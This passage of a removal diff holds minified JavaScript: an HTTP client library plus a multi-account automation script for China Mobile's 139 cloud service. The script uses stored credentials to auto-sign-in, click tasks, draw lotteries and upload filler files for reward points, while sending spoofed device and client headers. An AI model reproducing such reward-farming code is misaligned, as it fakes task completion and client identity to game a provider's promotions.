- const t = d(r[e]);
- if (t) return t
- }
- return "function" == typeof e.fetch ? e.fetch : "function" == typeof this.defaults.fetch ? this.defaults.fetch : null
- }
- dispatchRequest(t) {
- const r = this.resolveAdapter(t);
- if (!r) return Promise.reject(new e("No available adapter", "ERR_NOT_SUPPORT", t));
- const o = function(e) {
- const t = u(e);
- return {
- url: t.url,
- method: t.method,
- headers: t.headers,
- body: t.body,
- bodyBytes: t.bodyBytes,
- timeout: t.timeout,
- policy: t.policy,
- redirection: t.redirection,
- "auto-redirect": t["auto-redirect"],
- "auto-cookie": t["auto-cookie"],
- opts: t.opts,
- "binary-mode": t["binary-mode"],
- data: t.data
- }
- }(t);
- return Promise.resolve(r(o, t)).then(function(r) {
- const o = h(r) ? r : l(r, t, r && r.request);
- if (!o.ok && !1 !== t.throwHttpErrors) throw new e("Request failed with status code " + o.status, "ERR_BAD_RESPONSE", t, o.request, o);
- return o
- }, function(r) {
- throw function(t, r) {
- if (t && t.isAxiosError) return t;
- let o = t && t.request,
- n = t && t.response;
- return n && !h(n) && (n = l(n, r, n.request || o), o = n.request), !n && t && "object" == typeof t && ("status" in t || "statusCode" in t || "body" in t || "bodyBytes" in t || "data" in t ? n = l(t, r, o) : t.response && "object" == typeof t.response && (n = l(t.response, r, t.response.request || o), o = n.request)), new e(t && t.message || (n && n.status ? "Request failed with status code " + n.status : null) || String(t || "Network Error"), t && t.code || (n && n.status ? "ERR_BAD_RESPONSE" : "ERR_NETWORK"), r, o, n)
- }(r, t)
- })
- }
- mergeConfig(e) {
- const t = "string" == typeof e ? {
- url: e
- } : e || {},
- n = Object.assign({}, this.defaults, t);
- var i, s;
- if (n.headers = r(this.defaults.headers, t.headers), n.method = o(n.method), n.baseURL && n.url && (i = n.url, !/^[a-z][a-z\d+\-.]*:\/\//i.test(String(i || ""))) && (n.url = function(e, t) {
- return e ? t ? String(e).replace(/\/+$/, "") + "/" + String(t).replace(/^\/+/, "") : e : t || ""
- }(n.baseURL, n.url)), n.url = function(e, t, r) {
- if (!t) return e;
- const o = "function" == typeof r ? r(t) : function(e) {
- const t = [],
- r = Object.keys(e || {});
- for (let o = 0; o < r.length; o += 1) {
- const n = r[o],
- i = e[n];
- if (null != i)
- if (Array.isArray(i))
- for (let e = 0; e < i.length; e += 1) t.push(encodeURIComponent(n) + "=" + encodeURIComponent(String(i[e])));
- else t.push(encodeURIComponent(n) + "=" + encodeURIComponent(String(i)))
- }
- return t.join("&")
- }(t);
- return o ? String(e) + (String(e).indexOf("?") >= 0 ? "&" : "?") + o : e
- }(n.url || "", n.params, n.paramsSerializer), s = n.data, !("[object Object]" !== Object.prototype.toString.call(s) || n.data instanceof ArrayBuffer || ArrayBuffer.isView && ArrayBuffer.isView(n.data))) {
- let e = null;
- const t = Object.keys(n.headers || {});
- for (let r = 0; r < t.length; r += 1)
- if ("content-type" === t[r].toLowerCase()) {
- e = t[r];
- break
- } e || (e = "Content-Type", n.headers[e] = "application/x-www-form-urlencoded"), String(n.headers[e] || "").indexOf("application/json") >= 0 && (n.data = JSON.stringify(n.data))
- }
- return n
- }
- request(e) {
- const t = this.mergeConfig(e);
- t.transport = u(t);
- const r = [];
- this.interceptors.request.forEach(function(e) {
- r.unshift(e.onFulfilled, e.onRejected)
- }), r.push(this.dispatchRequest.bind(this), void 0), this.interceptors.response.forEach(function(e) {
- r.push(e.onFulfilled, e.onRejected)
- });
- let o = Promise.resolve(t);
- for (; r.length;) o = o.then(r.shift(), r.shift());
- return o
- }
- create(e) {
- return new f(Object.assign({}, this.defaults, e || {}, {
- headers: r(this.defaults.headers, e && e.headers)
- }))
- }
- isAxiosError(e) {
- return !(!e || !e.isAxiosError)
- }
- } ["get", "options", "delete", "head"].forEach(function(e) {
- f.prototype[e] = function(t, r) {
- return this.request(Object.assign({}, r || {}, {
- method: e,
- url: t
- }))
- }
- }), ["post", "put", "patch"].forEach(function(e) {
- f.prototype[e] = function(t, r, o) {
- return this.request(Object.assign({}, o || {}, {
- method: e,
- url: t,
- data: r
- }))
- }
- });
- const p = new f;
- return {
- Axios: f,
- axios: p,
- createAxios: function(e) {
- return new f(e)
- },
- normalizeAdapter: d,
- AxiosError: e,
- InterceptorManager: t
- }
-}
-"object" == typeof module && module.exports && (module.exports = dt);
-const ft = u.userAgent,
- pt = u.noteHeaders,
- {
- Axios: yt
- } = dt(),
- gt = new yt({
- timeout: u.defaultTimeout,
- adapter: async t => async function(t, n = {}) {
- switch (typeof t) {
- case "object":
- t = {
- ...n,
- ...t
- };
- break;
- case "string":
- t = {
- ...n,
- url: t
- };
- break;
- default:
- throw new TypeError(`${Function.name}: 参数类型错误, resource 必须为对象或字符串`)
- }
- t.method || (t.method = "GET", (t.body ?? t.bodyBytes) && (t.method = "POST")), delete t.headers?.Host, delete t.headers?.[":authority"], delete t.headers?.["Content-Length"], delete t.headers?.["content-length"];
- const i = t.method.toLocaleLowerCase();
- if (t.timeout || (t.timeout = 5), t.timeout && (t.timeout = Number.parseInt(t.timeout, 10), t.timeout > 500 && (t.timeout = Math.round(t.timeout / 1e3))), t.timeout) switch (e) {
- case "Loon":
- case "Quantumult X":
- case "Node.js":
- t.timeout = 1e3 * t.timeout
- }
- switch (e) {
- case "Loon":
- case "Surge":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- default:
- if (t.policy) switch (e) {
- case "Loon":
- t.node = t.policy;
- break;
- case "Stash":
- r.set(t, "headers.X-Stash-Selected-Proxy", encodeURI(t.policy));
- break;
- case "Shadowrocket":
- r.set(t, "headers.X-Surge-Proxy", t.policy)
- }
- switch ("boolean" == typeof t.redirection && (t["auto-redirect"] = t.redirection), t.bodyBytes && !t.body && (t.body = t.bodyBytes, t.bodyBytes = void 0), (t.headers?.Accept || t.headers?.accept)?.split(";")?.[0]) {
- case "application/protobuf":
- case "application/x-protobuf":
- case "application/vnd.google.protobuf":
- case "application/vnd.apple.flatbuffer":
- case "application/grpc":
- case "application/grpc+proto":
- case "application/octet-stream":
- t["binary-mode"] = !0
- }
- return new Promise((e, r) => {
- globalThis.$httpClient[i](t, (n, i, s) => {
- n ? r(n) : (i.ok = /^2\d\d$/.test(i.status), i.statusCode = i.status, i.statusText = o[i.status], s && (i.body = s, 1 == t["binary-mode"] && (i.bodyBytes = s)), e(i))
- })
- });
- case "Quantumult X":
- return t.policy && r.set(t, "opts.policy", t.policy), "boolean" == typeof t["auto-redirect"] && r.set(t, "opts.redirection", t["auto-redirect"]), t.body instanceof ArrayBuffer ? (t.bodyBytes = t.body, t.body = void 0) : ArrayBuffer.isView(t.body) ? (t.bodyBytes = t.body.buffer.slice(t.body.byteOffset, t.body.byteLength + t.body.byteOffset), t.body = void 0) : t.body && (t.bodyBytes = void 0), Promise.race([globalThis.$task.fetch(t).then(e => {
- switch (e.ok = /^2\d\d$/.test(e.statusCode), e.status = e.statusCode, e.statusText = o[e.status], (e.headers?.["Content-Type"] ?? e.headers?.["content-type"])?.split(";")?.[0]) {
- case "application/protobuf":
- case "application/x-protobuf":
- case "application/vnd.google.protobuf":
- case "application/vnd.apple.flatbuffer":
- case "application/grpc":
- case "application/grpc+proto":
- case "application/octet-stream":
- e.body = e.bodyBytes
- }
- return e.bodyBytes = void 0, e
- }, e => Promise.reject(e.error)), new Promise((e, r) => {
- setTimeout(() => {
- r(new Error(`${Function.name}: 请求超时, 请检查网络后重试`))
- }, t.timeout)
- })]);
- case "Node.js": {
- switch (globalThis.fetch || (globalThis.fetch = require("node-fetch")), t["auto-cookie"]) {
- case void 0:
- case "true":
- case !0:
- case "1":
- case 1:
- default:
- globalThis.fetch?.cookieJar || (globalThis.fetch = require("fetch-cookie").default(globalThis.fetch));
- case "false":
- case !1:
- case "0":
- case 0:
- case "-1":
- case -1:
- }
- t.redirect = t.redirection ? "follow" : "manual";
- const {
- url: e,
- ...r
- } = t;
- return Promise.race([globalThis.fetch(e, r).then(async e => {
- const t = await e.arrayBuffer();
- let r;
- try {
- r = e.headers.raw()
- } catch {
- r = Array.from(e.headers.entries()).reduce((e, [t, r]) => (e[t] = e[t] ? [...e[t], r] : [r], e), {})
- }
- return {
- ok: e.ok ?? /^2\d\d$/.test(e.status),
- status: e.status,
- statusCode: e.status,
- statusText: e.statusText,
- body: new TextDecoder("utf-8").decode(t),
- bodyBytes: t,
- headers: Object.fromEntries(Object.entries(r).map(([e, t]) => [e, "set-cookie" !== e.toLowerCase() ? t.toString() : t]))
- }
- }).catch(e => Promise.reject(e.message)), new Promise((e, r) => {
- setTimeout(() => {
- r(new Error(`${Function.name}: 请求超时, 请检查网络后重试`))
- }, t.timeout)
- })])
- }
- }
- }({
- ...t,
- timeout: "number" == typeof t.timeout ? Math.max(1, 1e3 * t.timeout) : t.timeout
- })
- }),
- mt = "https://orches.yun.139.com/orchestration/auth-rebuild/token/v1.0/querySpecToken",
- vt = "https://user-njs.yun.139.com/user/querySpecToken",
- bt = e => `https://caiyun.feixin.10086.cn:7071/portal/auth/tyrzLogin.action?ssoToken=${encodeURIComponent(e)}`;
-
-function wt(e) {
- return {
- ssoForMCloud: async function() {
- const t = await e.requestJson({
- url: mt,
- method: "post",
- headers: {
- Authorization: e.authorization,
- "User-Agent": ft,
- "Content-Type": "application/json",
- Accept: "*/*",
- Host: "orches.yun.139.com"
- },
- data: {
- account: e.account,
- toSourceId: "001005"
- }
- });
- return t?.success ? t.data.token : null
- },
- ssoForPortal: async function() {
- const t = await e.requestJson({
- url: vt,
- method: "post",
- headers: {
- Authorization: rt(e.authorization),
- "Content-Type": "application/json",
- Accept: "*/*",
- Host: "user-njs.yun.139.com",
- "User-Agent": ft
- },
- data: {
- phoneNumber: e.account,
- toSourceId: "001003"
- }
- });
- return t?.success ? t.data.token : null
- },
- fetchJwt: async function(t) {
- return e.requestJson({
- url: bt(t),
- method: "post",
- headers: e.jwtHeaders
- })
- }
- }
-}
-const kt = "http://mnote.caiyun.feixin.10086.cn/noteServer/api/authTokenRefresh.do",
- _t = "http://mnote.caiyun.feixin.10086.cn/noteServer/api/syncNotebookV3.do",
- xt = "http://mnote.caiyun.feixin.10086.cn/noteServer/api/createNote.do";
-
-function St(e) {
- return {
- refreshNoteToken: async function() {
- return e.request({
- url: kt,
- method: "post",
- headers: pt,
- data: {
- authToken: e.authToken,
- userPhone: e.account
- },
- throwHttpErrors: !1
- })
- },
- syncNotebook: async function(t) {
- return e.requestJson({
- url: _t,
- method: "post",
- headers: t,
- data: {
- addNotebooks: [],
- delNotebooks: [],
- notebookRefs: [],
- updateNotebooks: []
- }
- })
- },
- createNote: async function(t, r) {
- const o = e.randomHex(32),
- n = String(Date.now());
- return e.request({
- url: xt,
- method: "post",
- headers: t,
- data: {
- archived: 0,
- attachmentdir: o,
- attachmentdirid: "",
- attachments: [],
- audioInfo: {
- audioDuration: 0,
- audioSize: 0,
- audioStatus: 0
- },
- contentid: "",
- contents: [{
- contentid: 0,
- data: '000000',
- noteId: o,
- sortOrder: 0,
- type: "RICHTEXT"
- }],
- cp: "",
- createtime: n,
- description: "android",
- expands: {
- noteType: 0
- },
- latlng: "",
- location: "",
- noteid: o,
- notestatus: 0,
- remindtime: "",
- remindtype: 1,
- revision: "1",
- sharecount: "0",
- sharestatus: "0",
- system: "mobile",
- tags: [{
- id: r,
- orderIndex: "0",
- text: "默认笔记本"
- }],
- title: "00000",
- topmost: "0",
- updatetime: n,
- userphone: e.account,
- version: "1.00",
- visitTime: ""
- },
- throwHttpErrors: !1
- })
- }
- }
-}
-const Bt = {
- wxSign: "https://caiyun.feixin.10086.cn/market/playoffic/followSignInfo?isWx=true",
- drawInfo: "https://caiyun.feixin.10086.cn/market/playoffic/drawInfo",
- draw: "https://caiyun.feixin.10086.cn/market/playoffic/draw",
- shake: "https://caiyun.feixin.10086.cn:7071/market/shake-server/shake/shakeIt?flag=1"
- },
- At = {
- info: "https://caiyun.feixin.10086.cn/market/signin/hecheng1T/info?op=info",
- invite: "https://caiyun.feixin.10086.cn/market/signin/hecheng1T/beinvite",
- finish: "https://caiyun.feixin.10086.cn/market/signin/hecheng1T/finish?flag=true"
- },
- Tt = {
- info: "https://caiyun.feixin.10086.cn/market/backupgift/info",
- receive: "https://caiyun.feixin.10086.cn/market/backupgift/receive"
- },
- Ct = {
- status: "https://caiyun.feixin.10086.cn/market/msgPushOn/task/status",
- obtain: "https://caiyun.feixin.10086.cn/market/msgPushOn/task/obtain"
- };
-
-function Et(e) {
- return {
- getWxSignInfo: async function() {
- return e.requestJson({
- url: Bt.wxSign,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- getDrawInfo: async function() {
- return e.requestJson({
- url: Bt.drawInfo,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- doDraw: async function() {
- return e.requestJson({
- url: Bt.draw,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- doShake: async function() {
- return e.requestJson({
- url: Bt.shake,
- method: "post",
- headers: e.jwtHeaders
- })
- },
- getCloudGameInfo: async function() {
- return e.requestJson({
- url: At.info,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- inviteCloudGame: async function() {
- return e.requestJson({
- url: At.invite,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- finishCloudGame: async function() {
- return e.requestJson({
- url: At.finish,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- getBackupInfo: async function() {
- return e.requestJson({
- url: Tt.info,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- receiveBackupReward: async function() {
- return e.requestJson({
- url: Tt.receive,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- getMsgPushStatus: async function() {
- return e.requestJson({
- url: Ct.status,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- obtainMsgPushReward: async function(t) {
- return e.requestJson({
- url: Ct.obtain,
- method: "post",
- headers: e.jwtHeaders,
- data: {
- type: t
- }
- })
- }
- }
-}
-const $t = "https://caiyun.feixin.10086.cn/market/signin/page/info?client=app",
- Rt = "https://caiyun.feixin.10086.cn/market/manager/commonMarketconfig/getByMarketRuleName?marketName=sign_in_3",
- zt = e => `https://caiyun.feixin.10086.cn/market/signin/task/taskList?marketname=${e}`,
- Dt = e => `https://caiyun.feixin.10086.cn/market/signin/task/click?key=task&id=${e}`,
- Ht = "https://caiyun.feixin.10086.cn/market/signin/page/receive",
- Mt = e => `https://caiyun.feixin.10086.cn/market/prizeApi/checkPrize/getUserPrizeLogPage?currPage=1&pageSize=15&_=${e}`,
- jt = "https://caiyun.feixin.10086.cn/market/signin/page/taskExpansion",
- It = e => `https://caiyun.feixin.10086.cn/market/signin/page/receiveTaskExpansion?acceptDate=${e}`;
-
-function Ft(e) {
- return {
- getSigninStatus: async function() {
- return e.requestJson({
- url: $t,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- doSignin: async function() {
- return e.requestJson({
- url: Rt,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- getTaskList: async function(t) {
- return e.requestJson({
- url: zt(t),
- method: "get",
- headers: e.jwtHeaders
- })
- },
- clickTask: async function(t, r = {}) {
- return e.requestJson({
- url: Dt(t),
- method: "get",
- headers: e.jwtHeaders,
- ...r
- })
- },
- receiveClouds: async function() {
- return e.requestJson({
- url: Ht,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- getPrizeLog: async function(t) {
- return e.requestJson({
- url: Mt(t),
- method: "get",
- headers: e.jwtHeaders
- })
- },
- getTaskExpansion: async function() {
- return e.requestJson({
- url: jt,
- method: "get",
- headers: e.jwtHeaders
- })
- },
- receiveTaskExpansion: async function(t) {
- return e.requestJson({
- url: It(t),
- method: "get",
- headers: e.jwtHeaders
- })
- }
- }
-}
-const Nt = "http://ose.caiyun.feixin.10086.cn/richlifeApp/devapp/IUploadAndDownload",
- Pt = "https://ose.caiyun.feixin.10086.cn/richlifeApp/devapp/IUploadAndDownload",
- Ot = "https://personal-kd-njs.yun.139.com/hcy/file/list",
- Lt = "https://yun.139.com/orchestration/personalCloud-rebuild/outlink/v1.0/getOutLink";
-
-function qt(e) {
- return {
- uploadSimpleFile: async function() {
- const t = ["", `${e.account}`, "1", "1", '', "", "0", "", "", "1", "", "C4CA4238A0B923820DCC509A6F75849B", "", "0", "0", "", "", "", "", "", "0", "", "2", '', "", "", ""].join("");
- return e.request({
- url: Nt,
- method: "post",
- headers: {
- "x-huawei-uploadSrc": "1",
- "x-ClientOprType": "11",
- Connection: "keep-alive",
- "x-NetType": "6",
- "x-DeviceInfo": "6|127.0.0.1|1|10.0.1|Xiaomi|M2012K10C|CB63218727431865A48E691BFFDB49A1|02-00-00-00-00-00|android 11|1080X2272|zh||||032|",
- "x-huawei-channelSrc": "10000023",
- "x-MM-Source": "032",
- "x-SvcType": "1",
- APP_NUMBER: e.account,
- Authorization: e.authorization,
- "X-Tingyun-Id": "p35OnrDoP8k;c=2;r=1955442920;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C",
- Host: "ose.caiyun.feixin.10086.cn",
- "User-Agent": "okhttp/3.11.0",
- "Content-Type": "application/xml; charset=UTF-8",
- Accept: "*/*"
- },
- data: t,
- responseType: "text",
- throwHttpErrors: !1
- })
- },
- uploadLargeFile: async function() {
- const t = e.randomWordArray(1024 * e.config.uploadSizeMb * 1024),
- r = e.md5(t),
- o = ["", `${e.account}`, "1", `${1024*e.config.uploadSizeMb*1024}`, '', "", ``, `${1024*e.config.uploadSizeMb*1024}`, "", "", "0", "", '', `${r}`, `modifyTime${e.formatDate(new Date)}`, "", "", "", `${e.config.uploadDirId}`, "0", "", "2", ""].join("");
- return e.request({
- url: Pt,
- method: "post",
- headers: {
- "x-huawei-uploadSrc": "1",
- "x-huawei-channelSrc": "10200153",
- "x-ClientOprType": "11",
- Connection: "keep-alive",
- "x-NetType": "6",
- "x-DeviceInfo": "||11|8.2.1.20241205|PC|V0lOLUVQSUxVNjE1TUlI|D1EA1E8B761492DFF34B18F05A5876E0|| Windows 10 (10.0)|1366X738|RW5nbGlzaA==|||",
- "x-MM-Source": "032",
- "x-SvcType": "1",
- Authorization: rt(e.authorization),
- Host: "ose.caiyun.feixin.10086.cn",
- "User-Agent": "Mozilla/5.0",
- "Content-Type": "text/xml;UTF-8",
- Accept: "*/*"
- },
- data: o,
- responseType: "text",
- throwHttpErrors: !1
- })
- },
- listPersonalFiles: async function() {
- return e.requestJson({
- url: Ot,
- method: "post",
- headers: {
- "x-yun-op-type": "1",
- "x-yun-net-type": "1",
- "x-yun-module-type": "100",
- "x-yun-app-channel": "10214200",
- "x-yun-client-info": "1||8|5.10.1|microsoft|microsoft|306d1d1c-016c-4251-9ea6-951dca||windows 10 x64|||||",
- "x-tingyun": "c=M|4Nl_NnGbjwY",
- authorization: rt(e.authorization),
- "x-yun-api-version": "v1",
- xweb_xhr: "1",
- "x-yun-tid": "cb8a2b4b-8eb7-4b05-b1c1-e41020",
- "content-type": "application/json"
- },
- data: {
- parentFileId: e.config.uploadDirId,
- pageInfo: {
- pageSize: 40,
- pageCursor: "0|[9-1-0,11-0-1][JzIwMjQtMDMtMDlUMTA6MzM6MTguNzEyWic=,J0ZzSVEweF9NVVVDVmNqQ1plaTJ0SFZxSjVadjNsbEZ5bCc=]"
- },
- imageThumbnailStyleList: ["Big", "Small"],
- orderDirection: "DESC",
- orderBy: "updated_at"
- }
- })
- },
- createOutLink: async function(t, r) {
- return e.requestJson({
- url: Lt,
- method: "post",
- headers: {
- ...e.jwtHeaders,
- Authorization: rt(e.authorization)
- },
- data: {
- getOutLinkReq: {
- subLinkType: 0,
- encrypt: 1,
- coIDLst: [t],
- caIDLst: [],
- pubType: 1,
- dedicatedName: r,
- periodUnit: 1,
- viewerLst: [],
- extInfo: {
- isWatermark: 0,
- shareChannel: "3001"
- },
- period: 1,
- commonAccountInfo: {
- account: e.account,
- accountType: 1
- }
- }
- }
- })
- }
- }
-}
-class Ut {
- constructor(e, t, r) {
- this.rawCookie = String(e || "").trim(), this.config = t, this.reporter = r, this.cookies = {}, this.jwtHeaders = {
- "User-Agent": ft,
- Accept: "*/*",
- Host: "caiyun.feixin.10086.cn:7071"
- }, this.noteToken = "", this.noteAuth = "", this.notebookId = "", this.clickNum = t.clickNum, this.drawTimes = t.drawTimes, this.parseCookie(), this.requester = function(e, t) {
- return {
- request: r,
- requestJson: async function(e, t = 3) {
- return (await r({
- responseType: "json",
- ...e
- }, t)).data
- },
- requestText: async function(e, t = 3) {
- return (await r({
- responseType: "text",
- ...e
- }, t)).data
- }
- };
- async function r(r, o = 3) {
- let n;
- for (let s = 0; s < o; s += 1) try {
- return await e.request({
- timeout: t(),
- responseType: "json",
- ...r
- })
- } catch (e) {
- n = e, s < o - 1 && await i(1e3)
- }
- throw n
- }
- }(gt, () => this.config.requestTimeout);
- const o = this;
- var n;
- this.api = {
- ...wt(n = {
- get authorization() {
- return o.authorization
- },
- get account() {
- return o.account
- },
- get authToken() {
- return o.authToken
- },
- get config() {
- return o.config
- },
- get jwtHeaders() {
- return o.jwtHeaders
- },
- request: (...e) => o.request(...e),
- requestJson: (...e) => o.requestJson(...e),
- requestText: (...e) => o.requestText(...e),
- md5: e => Ze.MD5(e).toString().toUpperCase(),
- randomHex: it,
- randomWordArray: st,
- formatDate: nt
- }),
- ...Ft(n),
- ...Et(n),
- ...St(n),
- ...qt(n)
- }
- }
- parseCookie() {
- if (this.rawCookie.includes("#")) {
- const [e, t, r] = this.rawCookie.split("#");
- this.authorization = e, this.account = t, this.authToken = r || ""
- } else this.authorization = this.rawCookie, this.authToken = "00", this.account = function(e) {
- try {
- const t = String(e || "").replace(/^Basic\s+/i, "");
- return Ze.enc.Utf8.stringify(Ze.enc.Base64.parse(t)).split(":")[1] || "13800138000"
- } catch (e) {
- return "13800138000"
- }
- }(this.authorization);
- this.maskedAccount = function(e) {
- const t = String(e || "未知账号");
- return t.length >= 7 ? `${t.slice(0,3)}****${t.slice(7)}` : t
- }(this.account), this.cookies.sensors_stay_time = String(Date.now())
- }
- log(e) {
- this.reporter.line(`[${this.maskedAccount}] ${e}`)
- }
- async run() {
- try {
- if (!await this.jwt()) return void this.reporter.invalid.push(this.maskedAccount);
- await this.signinStatus(), await this.clickTask(), await this.processTaskList("sign_in_3", "cloud_app"), await this.cloudGame(), await this.wxSign(), await this.shake(), await this.surplusNum(), await this.backupCloud(), await this.openSend(), await this.processTaskList("newsign_139mail", "email_app"), await this.receive(), this.config.uploadEnabled && await this.uploadLargeFile(), this.config.shareEnabled && await this.shareFile()
- } catch (e) {
- this.reporter.errors.push(`${this.maskedAccount}: ${e.message||String(e)}`), this.log(`执行异常: ${function(e){if(e instanceof Error)return`${e.name}: ${e.message}`;try{return JSON.stringify(e)}catch(t){return String(e)}}(e)}`)
- }
- }
- async request(e, t = 3) {
- return this.requester.request(e, t)
- }
- async requestJson(e, t = 3) {
- return this.requester.requestJson(e, t)
- }
- async requestText(e, t = 3) {
- return this.requester.requestText(e, t)
- }
- async ssoForMCloud() {
- return this.api.ssoForMCloud()
- }
- async ssoForPortal() {
- return this.api.ssoForPortal()
- }
- async jwt() {
- const e = await this.ssoForMCloud() || await this.ssoForPortal();
- if (!e) return this.log("获取 ssoToken 失败"), !1;
- const t = await this.api.fetchJwt(e);
- return t && 0 === t.code ? (this.jwtHeaders.jwtToken = t.result.token, this.cookies.jwtToken = t.result.token, this.log("jwtToken 获取成功"), !0) : (this.log(`获取 jwtToken 失败: ${t?.msg||"未知错误"}`), !1)
- }
- async signinStatus() {
- await this.sleep();
- const e = await this.api.getSigninStatus();
- if ("success" !== e?.msg) return void this.log(`签到状态查询失败: ${e?.msg||"未知错误"}`);
- if (e.result?.todaySignIn) return void this.log("今日已签到");
- const t = await this.api.doSignin();
- this.log("success" === t?.msg ? "签到成功" : `签到失败: ${t?.msg||"未知错误"}`)
- }
- async clickTask() {
- let e = 0;
- for (let t = 0; t < this.clickNum; t += 1) try {
- const t = await this.api.clickTask(319);
- t?.result && (e += 1), await i(200)
- } catch (e) {}
- this.log(e > 0 ? `戳一下成功 ${e} 次` : `戳一下未获得奖励 x ${this.clickNum}`)
- }
- async processTaskList(e, t) {
- const r = await this.api.getTaskList(e);
- await this.sleep();
- const o = r?.result || {};
- for (const e of Object.keys(o))
- if (!["new", "hidden", "hiddenabc"].includes(e))
- for (const r of o[e]) ot(t, e, r.id) || ("FINISH" !== r.state ? (this.log(`去完成任务: ${r.name}`), await this.doTask(r.id, e, t), await i(2e3)) : this.log(`已完成任务: ${r.name}`))
- }
- async doTask(e, t, r) {
- if (await this.sleep(), await this.api.clickTask(e, {
- throwHttpErrors: !1
- }), "cloud_app" === r && "day" === t) switch (e) {
- case 106:
- await this.uploadZeroFile();
- break;
- case 107:
- await this.createDefaultNote()
- }
- }
- async refreshNoteToken() {
- if (!this.authToken || "00" === this.authToken) return !1;
- const e = await this.api.refreshNoteToken();
- return this.noteToken = e.headers?.NOTE_TOKEN || e.headers?.note_token || "", this.noteAuth = e.headers?.APP_AUTH || e.headers?.app_auth || "", !(!this.noteToken || !this.noteAuth)
- }
- async createDefaultNote() {
- if (!await this.refreshNoteToken()) return void this.log("跳过创建笔记: 缺少 authToken");
- const e = {
- ...pt,
- APP_NUMBER: this.account,
- APP_AUTH: this.noteAuth,
- NOTE_TOKEN: this.noteToken
- },
- t = await this.api.syncNotebook(e);
- this.notebookId = t?.notebooks?.[0]?.notebookId || "", this.notebookId ? (await this.api.createNote(e, this.notebookId), this.log("创建笔记完成")) : this.log("获取默认笔记本失败")
- }
- async uploadZeroFile() {
- await this.api.uploadSimpleFile(), this.log("上传任务文件完成")
- }
- async wxSign() {
- await this.sleep();
- const e = await this.api.getWxSignInfo();
- this.log(e?.result?.todaySignIn ? "公众号签到成功" : `公众号签到失败: ${e?.msg||"可能未绑定公众号"}`)
- }
- async shake() {
- let e = 0;
- for (let t = 0; t < this.clickNum; t += 1) try {
- const t = await this.api.doShake();
- t?.result?.shakePrizeconfig?.name && (e += 1, this.log(`摇一摇获得: ${t.result.shakePrizeconfig.name}`)), await i(1e3)
- } catch (e) {}
- e || this.log(`摇一摇未中奖 x ${this.clickNum}`)
- }
- async surplusNum() {
- await this.sleep();
- const e = await this.api.getDrawInfo(),
- t = e?.result?.surplusNumber || 0;
- if (this.log(`剩余抽奖次数: ${t}`), !(t <= 50 - this.drawTimes))
- for (let e = 0; e < this.drawTimes; e += 1) {
- await this.sleep();
- const e = await this.api.doDraw();
- this.log(0 === e?.code ? `抽奖成功: ${e?.result?.prizeName||""}` : "抽奖失败")
- }
- }
- async cloudGame() {
- const e = await this.api.getCloudGameInfo(),
- t = e?.result?.info?.curr || 0,
- r = e?.result?.history?.[0]?.rank || "",
- o = e?.result?.history?.[0]?.count || 0;
- this.log(`云朵大作战剩余 ${t} 次, 排名 ${r}, 合成 ${o} 次`);
- for (let e = 0; e < t; e += 1) await this.api.inviteCloudGame(), await at(1e4, 15e3), await this.api.finishCloudGame(), this.log("云朵大作战完成一局")
- }
- async receive() {
- const e = await this.api.receiveClouds();
- await this.sleep();
- const t = await this.api.getPrizeLog(Date.now()),
- r = (t?.result?.result || []).filter(e => 1 === e.flag).map(e => e.prizeName).join("、"),
- o = e?.result?.receive || 0,
- n = e?.result?.total || 0;
- this.reporter.amounts.push(`${this.maskedAccount}: 云朵 ${n}${r?`, 待领取 ${r}`:""}`), this.log(`当前待领取 ${o} 云朵, 当前总数 ${n}`)
- }
- async backupCloud() {
- const e = await this.api.getBackupInfo(),
- t = e?.result?.state;
- if (0 === t) {
- const e = await this.api.receiveBackupReward();
- this.log(`连续备份奖励: ${e?.result?.result||""}`)
- } else 1 === t && this.log("本月连续备份奖励已领取");
- await this.sleep();
- const r = await this.api.getTaskExpansion();
- if (r?.result?.preMonthBackup && !r?.result?.curMonthBackupTaskAccept) {
- const e = await this.api.receiveTaskExpansion(r.result.acceptDate);
- this.log(`膨胀云朵领取: ${e?.result?.cloudCount||e?.msg||""}`)
- }
- }
- async openSend() {
- const e = await this.api.getMsgPushStatus();
- if (1 === e?.result?.pushOn)
- for (const t of [1, 2]) {
- const r = 1 === t ? "firstTaskStatus" : "secondTaskStatus";
- if ([2, 3].includes(e.result[r])) {
- const e = await this.api.obtainMsgPushReward(t);
- this.log(`通知奖励${t}: ${e?.result?.description||"已处理"}`)
- }
- } else this.log("通知权限未开启")
- }
- async uploadLargeFile() {
- this.config.uploadDirId ? (await this.api.uploadLargeFile(), this.log(`大文件上传任务已执行: ${this.config.uploadFilename}`)) : this.log("跳过大文件上传: 缺少 dirId")
- }
- async shareFile() {
- if (!this.config.shareFilename || !this.config.uploadDirId) return void this.log("跳过分享任务: 缺少 shareFilename 或 dirId");
- const e = await this.api.listPersonalFiles(),
- t = (e?.data?.items || []).find(e => String(e.name || "").includes(this.config.shareFilename));
- if (!t) return void this.log("未找到可分享文件");
- const r = await this.api.createOutLink(t.fileId, t.name),
- o = r?.data?.getOutLinkRes?.getOutLinkResSet?.[0]?.linkUrl || "";
- this.log(o ? `分享成功: ${o}` : "分享失败")
- }
- async sleep() {
- await at(this.config.delayMin, this.config.delayMax)
- }
-}
-const Wt = c.displayName,
- {
- missingCookie: Jt,
- runCompleted: Xt
- } = l;
-async function Kt(r = ct()) {
- if (!r.cookie) throw new Error(Jt);
- const o = (i = r.cookie, String(i).split(/[@\n]/).map(e => e.trim()).filter(Boolean));
- var i;
- const s = new Ye;
- s.info(`${Wt} 共获取到 ${o.length} 个账号`);
- for (let e = 0; e < o.length; e += 1) {
- s.section(`第 ${e+1} 个账号`);
- const t = new Ut(o[e], r, s);
- await t.run(), e < o.length - 1 && await at(5e3, 1e4)
- }
- const a = s.renderSummary();
- return t.log(a), r.push && function(r = `ℹ️ ${e} 通知`, o = "", i = "", s = {}) {
- const a = n(s);
- switch (e) {
- case "Surge":
- case "Loon":
